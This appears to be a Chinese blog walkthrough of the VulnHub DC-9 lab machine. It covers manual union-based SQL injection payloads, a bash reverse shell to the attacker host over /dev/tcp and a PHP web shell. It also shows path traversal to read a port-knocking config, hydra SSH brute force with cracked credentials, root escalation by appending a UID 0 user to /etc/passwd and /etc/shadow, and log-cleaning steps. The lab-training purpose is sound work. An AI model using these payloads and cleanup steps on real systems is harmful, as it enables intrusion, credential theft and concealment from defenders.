vulnhub靶场【DC系列】之9 the final 结束篇

news2025/1/11 7:50:07

前言

靶机:DC-8,IP地址为192.168.10.11,后续因为靶机重装,IP地址变为192.168.10.13

攻击:kali,IP地址为192.168.10.2

都采用VMWare,网卡为桥接模式

对于文章中涉及到的靶场以及工具,我放置在网盘中,链接:https://pan.quark.cn/s/54b7df0c84e1

主机发现

使用arp-scan -l或者netdiscover -r 192.168.10.1/24

因为是靶机,所以在同一局域网中,这里使用这两个工具是因为在同一局域网中的扫描速度很快

当然,如果想要模拟真实渗透,可以使用nmap等扫描工具

信息收集

使用nmap扫描端口

扫描目标的全端口,以及服务和操作系统信息

nmap -sV -O 192.168.10.11 -p-

网站信息探测

访问80端口默认界面,访问页面源代码,包含几个php文件路径,但是在这个界面都是可以点击到的

使用gobuster尝试进行目录爆破,发现爆破的路径,基本上与前面一样

gobuster dir -u http://192.168.10.11 -w /usr/share/wordlists/dirb/big.txt -x php,html,txt,md -d -b 404,403

在我尝试访问weclome.php时,发现提示我以作为admin登录,并且下面提示文件不存在,主要就是这时候,点击logout退出,是无法退出的

发现一个搜索框,是search.php,其会把输入的数据,交给results.php,有结果,会显示,无结果,也会跳转到results.php

SQL注入

测试注入点

尝试数字型测试,发现无任何变化

1 and 1=1#
1 and 1=1--+
1 and 1=2#
1 and 1-2--+
1 or 1=1#
1 or 1=1--+

再次尝试字符型,以'进行闭合测试

1'		无报错,无返回
1' or 1=1--+		无返回
1' or 1=1#			有返回,并且返回的结果是 Display All Records菜单中的内容,这个自己查看一下

那么可以确定,其应该是搜索这里面的数据,并经过测试,发现其搜索的是上面数据中的name

ok那么就可以构造语句了,借助上面数据中的一个name即可,如,这里借用tom

手工sql注入

构造语句并测试,发现两个回显不同,说明确实存在

tom' and 1=1#
tom' and 1=2#

再次构造语句进行测试,最终在7时无回显,也就是有6个

tom' order by 6#

再次构造union测试是否会显示

tom' union select 1,2,3,4,5,6#

确定这里有显示就已经ok了,还没有对于union 、 select等关键字进行过滤操作

直接上

tom' union select database(),version(),3,user(),5,6#

构造语句获取表

tom' union select group_concat(table_name),version(),3,user(),5,6 from information_schema.tables where table_schema=database()#

后面因为原因,再次想要访问,发现原本的语句不能使用,下面是换的语句
tom' union select concat(table_name),null,null,null,null,null from information_schema.tables#

发现两个表,一个Users值得关注

构造语句

tom' union select concat(column_name),version(),3,user(),5,6 from information_schema.columns where table_name='Users'#

tom' union select concat(column_name),version(),3,user(),5,6 from information_schema.columns where table_name='StaffDetails'#

直接通过查询获取对应元组的数据

tom' union select concat(Username,'|',Password),version(),3,user(),5,6 from Users#

获取到用户名admin和密码856f5de590ef37314e7c3bdf6f8a66dc

这个像是md5加密,访问网站cmd5.com,能解出,但是是付费记录

那么换一个网站somd5.com,获取密码transorbital1

在浏览器关闭当前连接的IP,按着ctrl+shift+delete,把浏览器最近记录删除,这样再访问manage就可以再登录了

尝试sql注入反弹shell

这时候输入上面的用户名和密码,即可登录成功,并且,当前登录后的界面只有一个add recard是新的,这里就可以与前面的数据进行比对,因为这里应该是写入到数据库中的,因为好多列名都是与前面的一样的

尝试直接在这里进行注入下面的语句

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.10.2/9999 0>&1'"); ?>

那么在前面使用union查询的时候,数字23是在一行显示,并且中间有空格的,那么可以根据这个进行拼接反弹shell的代码

firstname:
	<?php 
lastname:
	system($_REQUEST["cmd"]);?>

上传成功,但是无法利用

可能general_log是关闭的,通过前面的注入构造下面的语句进行查看

tom' union select variable_name, variable_value,3,4,5,6 FROM information_schema.global_variables WHERE variable_name LIKE '%general%'#

路径遍历漏洞

再次回到这里,还是观察,发现登录后,依然有File does not exist,其他界面没有,登录后才有,说明还是调用某个文件,该文件不存在了。

这里我刚开始的时候就测试过,但是没出数据,我还以为是登录问题呢

而事实证明,可能就是,或者说我自己忘记了加入某个东西

在使用ffufwfuzz爆破测试一段时间后,突然就登录不上了,可能是爆破的原因?

这里重装靶机,后面IP地址变更为192.168.10.13

这里在使用ffufwfuzz,不知道什么原因,即使加上登录条件,也是无法测试出,但是明明就有,换用burp,因为本人电脑的原因,这里在物理机上使用burp

这里抓取登录后的数据包,然后设置参数进行爆破

发现传参为file,并且可以看到靶机内的用户很多

通过路径遍历获取kncok配置文件

但是前面进行端口扫描的时候,ssh服务显示是过滤的,说明目标可能对请求进行相关操作,数据库或者其他,

但是在打靶,一般都是所谓的"敲门",也就是kncok,进行ai搜索

knock是一个用于端口敲门(Port Knocking)的工具。端口敲门是一种通过按特定顺序连接一系列端口来触发防火墙规则或开启隐藏服务的技术。它允许用户在防火墙后隐藏服务,只有当按照正确的顺序 “敲门”(访问特定端口序列)时,才会允许对目标服务端口的访问。

配置文件通常位于/etc/knockd.conf/etc/knock.conf

访问这两个进行测试,最终访问/etc/knockd.conf发现信息

记住这个序列7469,8475,9842,使用kncok敲靶机,再次扫描,可以看到已经处于打开状态

knock 192.168.10.13 7469 8475 9842

但是到这里没有任何东西了,看了网上的wp,啧,少了一个步骤,就是查询数据库,我这里直接使用当前数据库,导致错过大量信息,在search.php构造下面语句

tom' union select concat(schema_name),version(),3,user(),5,6 from information_schema.schemata#

爆出数据库的表的名称

tom' union select concat(table_name),version(),3,user(),5,6 from information_schema.tables where table_schema='users'#

爆出表中的列名

tom' union select concat(column_name),version(),3,user(),5,6 from information_schema.columns where table_name='UserDetails'#
tom' union select concat(username,password),version(),3,user(),5,6 from users.UserDetails#

为了结果更清晰,采用sqlmap展示图片,使用burp抓取search.php请求时的数据包,并把数据包中的内容进行复制

sqlmap -r search -D users -T UserDetails -C username,password --dump

可以查看保存后的

ssh爆破

这里可以直接通过ai来帮助区分

然后保存到两个文件中,使用hydra进行爆破

hydra -L user -P pass 192.168.10.13 ssh

等待一会,数据出现,用户名chandlerb的密码UrAG0D!

用户名joeyt的密码Passw0rd,用户名janitor的密码Ilovepeepee

测试登录,在登录两个一会后,并没有发现任何东西,包括SUID权限文件,以及sudo,系统内核,定时任务,甚至我上传了pspy64也没有发现,然后大概知道作者的意思了,文件应该在每个用户的家目录下,所以切换用户,最终在janitor发现一个密码本

复制内容,然后再使用hydra进行爆破

hydra -L user -P new_pass 192.168.10.13 ssh

获取新的两组数据,进行登录查看,因为joeyt前面登录过,所以没什么东西

提权

登录fredf后,发现家目录没有东西,然后尝试sudo,因为之前使用find寻找具有SUID权限的文件,确定有sudo

执行文件,提示test.py,再搜索,并查看该文件,发现无内容

可以看到这个test.py是必须要有用户的传参的,并且除了文件名,还需要有两个传参

并且,第二个传参是进行的读文件的操作,第三个传参是进行的写文件的操作,并且是追加的操作

就是test.py a.txt b.txt 读a.txt中的内容追加写入到b.txt文件中

那么直接把/etc/shadow文件中的内容,写入到/tmp/pass中,然后查看

确实发现可以写入,那么把/etc/passwd中的root信息直接读取,把两个文件中关于root的信息都复制到kali中的两个文件,使用unshadow合并,然后使用john进行hash破解

但是这个时间是真的长,这里先进行破解,思考其他方式

尝试直接获取root目录下的.ssh目录下的私钥, 但是这里测试,发现说是没有该目录

那么尝试写入/etc/passwd

root:x:0:0:root:/root:/bin/bash
用户名:密码:用户标识号:组标识号:注释性描述:主目录:默认登录Shell

#其中x表示密码存储在/etc/shadow文件中

那么这里就不使用x,把密码直接写入在/etc/passwd,并仿造root的形式,添加一个新用户

dijia::0:0:dijia:/root:/bin/bash	#尝试构造空密码的具有root权限的用户

gogo:123456:0:0:gogo:/root:/bin/bash	#尝试构造明文密码具有root权限的用户

那么尝试进行加密吧,可以使用openssl工具进行生成,或者去在线网站进行加密都行

openssl passwd -6 -salt 123 123456

#这里若是不知道含义,可以具体使用openssl -h 查看帮助,不过最好是在kali中,因为靶机内查看有问题
#openssl passwd是 OpenSSL 工具提供的一个用于生成加密密码(哈希值)的命令
#-6 是指采用sha512算法
#-salt 123 是指使用加盐操作,盐值为123
#123456 为指定加密的密码
#扩展
#-1 是指使用MD5算法
#-5 是指采用SHA-256算法

这里可以直接加密自然是可以,不过为了严谨,我这里把之前读取的/etc/shadow文件中的密码,进行一个分析,借助网站www.dcode.fr,发现解出算法以及盐值

35

那么就按照这个进行加密,然后复制这个加密的结果

openssl passwd -6 -salt lFbb8QQt2wX7eUeE 123456

那么现在再次构造,之前是空密码和明文密码,这里采用加密密码,再进行测试

final1:$6$lFbb8QQt2wX7eUeE$S63c0lmQQPy9FpNzpz5xy688Ur6ZlDQq62BGgeB1tSp5OssLCRc1VhOAIzORv4FplJbZdbR.hohEqY9LCFlmD/:0:0:final1:/root:/bin/bash

可以看到,成功提权

假设,若是这种方式也不行的话,可能其做了限制,不允许在/etc/passwd中添加密码,只能在/etc/shadow文件中,那么就需要再次构造了

#写入到/tmp/final2_user中,然后通过sudo执行test,写入到/etc/passwd中
final2:x:0:0:final2:/root:/bin/bash

#写入到/tmp/final2_pass中,然后通过sudo执行test,写入到/etc/shadow中
final2:$6$lFbb8QQt2wX7eUeE$S63c0lmQQPy9FpNzpz5xy688Ur6ZlDQq62BGgeB1tSp5OssLCRc1VhOAIzORv4FplJbZdbR.hohEqY9LCFlmD/:18259:0:99999:7:::
#这里的加密密码,是上面生成的,就直接使用,知道方法即可

查看flag

清理痕迹

这里清理痕迹不同于以往,因为存在数据库、ssh爆破、以及敏感文件的修改了

删除在数据库添加的数据

首先是在进行sql注入时,插入的数据,这里因为靶机重装的原因,导致数据重置,不过方法说一下

首先找到连接数据库的信息

然后剩下的就是删除表中的指定内容,这里因为之前确定是在staff数据库中,并且在表中StaffDetails存储着相关信息,所以重点删除这个表中的指定数据即可

清理日志

日志文件主要在/var/log中,可以使用sed删除指定kali的ip的行

清理敏感文件

删除添加在/etc/passwd文件中的用户

sed -i '$d' /etc/passwd
#$表示最后一行,d表示删除
#一般添加的都是在文件的最后,可以自己查看后,根据实际情况去删除

删除添加在/etc/shadow文件中的密码

sed -i '$d' /etc/shadow
#与上面一样,一般也是在文件的最后进行添加的

总结

该靶场考察以下几点

  1. 对于sql注入,能否找到注入点,然后最好通过手工的方式进行操作,在手工注入获取到结果后,再使用sqlmap进行测试,也需要掌握sqlmap工具的使用
  2. 通过sql注入获取到网站的用户名和密码,登录后,继续发现功能点,要懂得去判断。这里就是因为登录后发现显示文件不存在的,推测可能具有文件包含,然后根据这个进行路径遍历测试,发现传参为file。还有一点,这里的路径遍历,绝对路径以及远程文件包含都是不行的
  3. 对于ssh服务扫描发现过滤的情况,考虑防火墙,以及做的安全策略,这里因为是在靶机,所以一般都是使用工具knock与防火墙iptables搭配,只要符合配置指定的序列,就可以使用ssh服务了
  4. 对于数据库的信息,最好都看一看,不能只看感觉像是怎么怎么样的。
  5. 通过获取的大量用户名和密码,进行ssh爆破,获取到可用账号
  6. ssh登录后,寻找各种信息,这里是再次发现一个密码本,然后获取到一个新的用户并且登录
  7. 对于可执行文件具有sudo时,要知道怎么调试,这里是执行 后,有用法提示,找到关键文件。然后通过分析关键文件中的代码指令,最终确定可以进行非法读取和写入
  8. 对于/ect/passwd文件和/etc/shadow文件中,存储的形式有什么含义,要清楚的知道

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2274793.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

网络安全 | 网络安全法规:GDPR、CCPA与中国网络安全法

网络安全 | 网络安全法规&#xff1a;GDPR、CCPA与中国网络安全法 一、前言二、欧盟《通用数据保护条例》&#xff08;GDPR&#xff09;2.1 背景2.2 主要内容2.3 特点2.4 实施效果与影响 三、美国《加利福尼亚州消费者隐私法案》&#xff08;CCPA&#xff09;3.1 背景3.2 主要内…

基于QT和C++的实时日期和时间显示

一、显示在右下角 1、timer.cpp #include "timer.h" #include "ui_timer.h" #include <QStatusBar> #include <QDateTime> #include <QMenuBar> Timer::Timer(QWidget *parent) :QMainWindow(parent),ui(new Ui::Timer) {ui->setup…

STM32小实验2

定时器实验 TIM介绍 TIM&#xff08;Timer&#xff09;定时器 定时器可以对输入的时钟进行计数&#xff0c;并在计数值达到设定值时触发中断 16位计数器、预分频器、自动重装寄存器的时基单元&#xff0c;在72MHz计数时钟下可以实现最大59.65s的定时 不仅具备基本的定时中断…

【软考】软件设计师

「学习路线」&#xff08;推荐该顺序学习&#xff0c;按照先易后难排序&#xff09; 1、上午题—计算机系统&#xff08;5~6分&#xff09;[1.8; ] 2、上午题—程序设计语言&#xff08;固定6分&#xff09;[1.9; ] 3、下午题—试题一&#xff08;15分&#xff09; 4、上午题—…

2030年中国AI人才缺口或达400万,近屿智能助力AI人才储备增长

在当今数字化浪潮下&#xff0c;人工智能&#xff08;AI&#xff09;已成为推动各行业发展的关键力量。然而&#xff0c;吸引和留住 AI 人才正成为全球性难题&#xff0c;中国亦不例外。据麦肯锡 2022 年全球人工智能商业高管调查&#xff0c;75% 的中国受访者在招聘数据科学家…

一块钱的RISC-V 32位芯片

‍‍ ‍‍之前跟一个朋友聊天&#xff0c;说以后的芯片一定是越来越趋向于定制化&#xff0c;比如我们需要一个ADC芯片&#xff0c;这颗ADC芯片需要有串口功能&#xff0c;那就只开发一颗这样的芯片就好了&#xff0c;其他的功能都可以裁剪掉。 ➵➵➵➵➵➵➵➵➵➵➵➵➵➵➵…

rk3568平台Buildroot编译实践:内核rootfs定制 及常见编译问题

目录 编译前准备常规编译流程定制内核修改内核 参数并增量 保存修改rootfs并增量 保存修改rootfs包下载源rootfs软件包增删refBuildroot 是一个用于自动化构建嵌入式 Linux 系统的工具。它通过使用简单的配置文件和 Makefile,能够从源代码开始交叉编译出一个完整的、可以运行在…

机器翻译优缺点

随着科技的飞速发展&#xff0c;机器翻译是近年来翻译行业的热门话题&#xff0c;在人们的生活和工作中日益普及&#xff0c;使用机器能够提高翻译效率&#xff0c;降低成本。尽管关于机器翻译为跨语言交流带来了诸多便利&#xff0c;但在译文的正确率和局限性方面存在一定争议…

R 语言科研绘图 --- 折线图-汇总

在发表科研论文的过程中&#xff0c;科研绘图是必不可少的&#xff0c;一张好看的图形会是文章很大的加分项。 为了便于使用&#xff0c;本系列文章介绍的所有绘图都已收录到了 sciRplot 项目中&#xff0c;获取方式&#xff1a; R 语言科研绘图模板 --- sciRplothttps://mp.…

30天开发操作系统 第 12 天 -- 定时器 v1.0

前言 定时器(Timer)对于操作系统非常重要。它在原理上却很简单&#xff0c;只是每隔一段时间(比如0.01秒)就发送一个中断信号给CPU。幸亏有了定时器&#xff0c;CPU才不用辛苦地去计量时间。……如果没有定时器会怎么样呢?让我们想象一下吧。 假如CPU看不到定时器而仍想计量时…

自动化测试:6大关键脚本类型及使用要点

测试脚本在自动化测试中扮演着至关重要的角色&#xff0c;特别是常见的六种关键脚本类型及其使用范围和注意事项&#xff0c;它们能够确保系统在不同负载和环境下稳定运行&#xff0c;保障接口交互的准确性和安全性&#xff0c;从而节省时间和人力成本&#xff0c;推动项目高效…

算法题(31):两数之和-输入有序数组

审题&#xff1a; 在确定有唯一解的前提下&#xff0c;找出两个下标对应的元素值之和等于target的下标&#xff0c;并存入数组中返回 思路&#xff1a; 方法一&#xff1a;暴力搜索&#xff08;超时&#xff09; 利用两个循环进行所有情况的枚举&#xff0c;让每个元素依次与其…

9 个大数据示例

被称为大数据的技术是数字时代最具影响力的创新之一。强大的分析揭示了隐藏在大量数据中的模式和相关性&#xff0c;几乎为所有行业的规划和决策提供依据。事实上&#xff0c;就在过去十年间&#xff0c;大数据的应用已经发展到几乎触及我们生活方式、购物习惯以及日常消费选择…

低代码从“产品驱动”向“场景驱动”转型,助力数字化平台构建

一、前言 在数字化时代的大潮中&#xff0c;从宏观层面来看&#xff0c;新技术的落地速度不断加快&#xff0c;各行各业的数字化进程呈现出如火如荼的态势。而从微观层面剖析&#xff0c;企业面临着行业格局快速变化、市场竞争日益激烈以及成本压力显著增强等诸多挑战。 据专…

基于Python编程语言的自动化渗透测试工具

摘 要 近些年来网络安全形势变得越来越严峻&#xff0c;全球数百万个政企遭遇过不同程度的网络攻击。渗透测试是一种对目标进行信息安全评估的方法&#xff0c;而目前该行业仍在存在着安全服务行业价格昂贵&#xff0c;安全人才缺口巨大&#xff0c;在渗透测试时步骤繁琐、效率…

【教程】数据可视化处理之2024年各省GDP排名预测!

过去的一年里&#xff0c;我国的综合实力显著提升&#xff0c;在新能源汽车、新一代战机、两栖攻击舰、航空航天、芯片电子、装备制造等领域位居全球前列。虽然全国各省市全年的经济数据公布还需要一段时间&#xff0c;但各地的工业发展数据&#xff0c;财政收入数据已大概揭晓…

Mysql快速列出来所有列信息

文章目录 需求描述实现思路1、如何查表信息2、如何取字段描述信息3、如何将列信息一行展示4、拼接最终结果 需求描述 如何将MySQL数据库中指定表【tb_order】的所有字段都展示出来&#xff0c;以备注中的中文名为列名。 实现思路 最终展示效果&#xff0c;即拼接出可执行执行…

数据结构(Java版)第七期:LinkedList与链表(二)

专栏&#xff1a;数据结构(Java版) 个人主页&#xff1a;手握风云 一、链表的实现&#xff08;补&#xff09; 接上一期&#xff0c;下面我们要实现删除所有值为key的元素&#xff0c;这时候有的老铁就会想用我们上一期中讲到的remove方法&#xff0c;循环使用remove方法&#…

初学stm32 --- ADC单通道采集

目录 ADC寄存器介绍&#xff08;F1&#xff09; ADC控制寄存器 1(ADC_CR1) ADC控制寄存器 2(ADC_CR2) ADC采样时间寄存器1(ADC_SMPR1) ADC采样时间寄存器2(ADC_SMPR2) ADC规则序列寄存器 1(ADC_SQR1) ADC规则序列寄存器 2(ADC_SQR2) ADC规则序列寄存器 3(ADC_SQR3) AD…

Eclipse配置Tomcat服务器(最全图文详解)

前言&#xff1a; 本章使用图文讲解如何在Eclipse开发工具中配置Tomcat服务器、如何创建和启动JavaWeb工程&#xff0c;欢迎童鞋们互相交流。觉得不错可以三连订阅喔。 目标&#xff1a; 一、配置Tomcat服务器 1. 切换Eclipse视图 2. 打开菜单 3. 找到服务选项 4. 选择…